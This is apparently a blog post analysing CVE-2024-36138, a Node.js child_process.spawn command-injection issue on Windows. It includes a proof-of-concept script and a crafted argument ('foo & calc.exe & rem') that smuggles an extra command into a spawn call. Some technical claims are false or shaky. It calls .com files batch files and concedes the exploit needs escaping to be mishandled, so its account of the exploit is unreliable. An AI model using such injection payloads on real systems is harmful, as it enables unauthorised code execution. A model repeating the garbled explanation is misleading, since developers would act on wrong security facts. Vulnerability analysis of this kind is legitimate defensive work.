---
Introduction
In April 2024, the Node.js community patched CVE-2024-27980, addressing a critical issue with command injection in the child_process.spawn function. The fix mainly attempted to prevent command injection when the shell option was set to false by handling .bat and .cmd files securely.
However, CVE-2024-36138 reveals a weakness in this patch. The previous fix didn't consider all possible extensions for batch files on Windows (such as .com or .exe) and failed to cover cases where malicious arguments could be used to inject commands, even when the shell option is NOT enabled.
This post is an exclusive deep-dive into how CVE-2024-36138 allows attackers to bypass the fix, with clear explanation, real code snippets, and detailed exploit walkthrough.
Background: How Node.js Executes Child Processes
Node.js offers the child_process.spawn() and spawnSync() functions to launch new processes. By default, if the shell option is off, your script should be immune to shell-based command injection:
const { spawn } = require('child_process');
// This appears safe:
spawn('my_script.bat', ['arg1', 'arg2'], { shell: false });
But... there's a catch on Windows. When .bat, .cmd, or sometimes similarly behaving files are invoked, Windows uses the *command interpreter* (e.g., cmd.exe) under the hood—even if you think you've avoided the shell.
Anatomy of the Incomplete Fix (CVE-2024-27980)
The initial patch only filtered .bat and .cmd extensions. Attackers could still exploit files named with other extensions (like .com or custom extensions with a registered handler). Plus, the way Windows parses command-line arguments leaves room for tricks with special characters.
The oversight? An attacker can craft a batch file (or even a name with a double extension) and run an injected command through tricky escaping and argument structures, regardless of the shell setting.
Exploit Walkthrough
Let's see how an attacker can bypass the patch and achieve arbitrary code execution.
Scenario: The server spawns a batch file (evil.bat) that takes a single argument from user input.
1. Malicious Batch File Preparation
Suppose you place (or trick the system into having) a batch file with a non-filtered extension—like .com—on the server:
:: evil.com (yes, .COM is also a valid batch file extension on Windows)
@echo off
echo ECHO Owned! > owned.txt
2. Exploiting Argument Parsing
By carefully crafting the input argument, an attacker can break out of the intended command and execute arbitrary shell logic—since Windows treats the first argument as part of the command line for .bat/.cmd/.com.
Vulnerable Node.js code
const { spawn } = require('child_process');
const userInput = process.argv[2]; // attacker controls argument
spawn('evil.com', [userInput], { shell: false });
If userInput is
"foo & calc.exe & rem"
The resulting command line becomes
evil.com "foo & calc.exe & rem"
But if quotes or escaping is mishandled internally (as can happen in edge cases, or with additional bugs), Windows may interpret & calc.exe & as a command separator—so Calculator pops up, proving arbitrary code execution.
Let's create a proof-of-concept
// exploit.js
const { spawn } = require('child_process');
// The dangerous argument (assuming there's a batch file named evil.com)
const arg = 'foo & calc.exe & rem';
const p = spawn('evil.com', [arg], { shell: false });
p.stdout.pipe(process.stdout);
p.stderr.pipe(process.stderr);
Run it
node exploit.js
Result: The batch file runs, but so does calc.exe (or any payload the attacker chooses).
Exploit Details
- Attack Pre-requisites: Attacker must control the command-line arguments to a batch file executed with any of the affected extensions (.bat, .cmd, .com, potentially others).
- No Need for shell: true: The vulnerability occurs with shell: false—the default and supposedly safe setting.
- All "Batch Style" Extensions Are Dangerous: The fix filtered .bat and .cmd, but left .com and potentially others open to abuse.
- Quick Payload Change: Any command can be injected (calc.exe, powershell, file deletion, malware dropper, etc.).
Mitigation
Mitigation Steps:
Until a comprehensive fix is issued, protect your Node.js code by
1. Sanitizing All User Inputs: Rigorously validate or sanitize all arguments passed to child processes.
2. Avoid Batch Files: Whenever possible, invoke only trusted binaries—never batch/script files with ANY extension.
Explicit Extension Checks: Don’t assume .bat and .cmd are the only threats.
4. Review Registered Handlers: Check for other handler extensions in your Windows PATH/environment.
5. Apply Security Updates: Watch for an official Node.js fix that properly handles *all* batch-style scenarios.
References
- Node.js Security Release - April 2024
- CVE-2024-27980 (original patch)
- Discussion: Batch Files and Windows Command-Line Parsing
- Windows Shell: Passing Arguments to .com/.bat/.cmd Files
Conclusion
CVE-2024-36138 shows how important it is to consider the full Windows execution model and how a half-done patch can leave holes that attackers love. Always check, sanitize, and double-sanitize anything you run—especially when mixing user input, batch/scripting environments, and platform quirks.
Feel free to share this exclusive analysis to improve your team's Node.js security and keep your Windows servers safe!
Timeline
Published on: 09/07/2024 16:15:02 UTC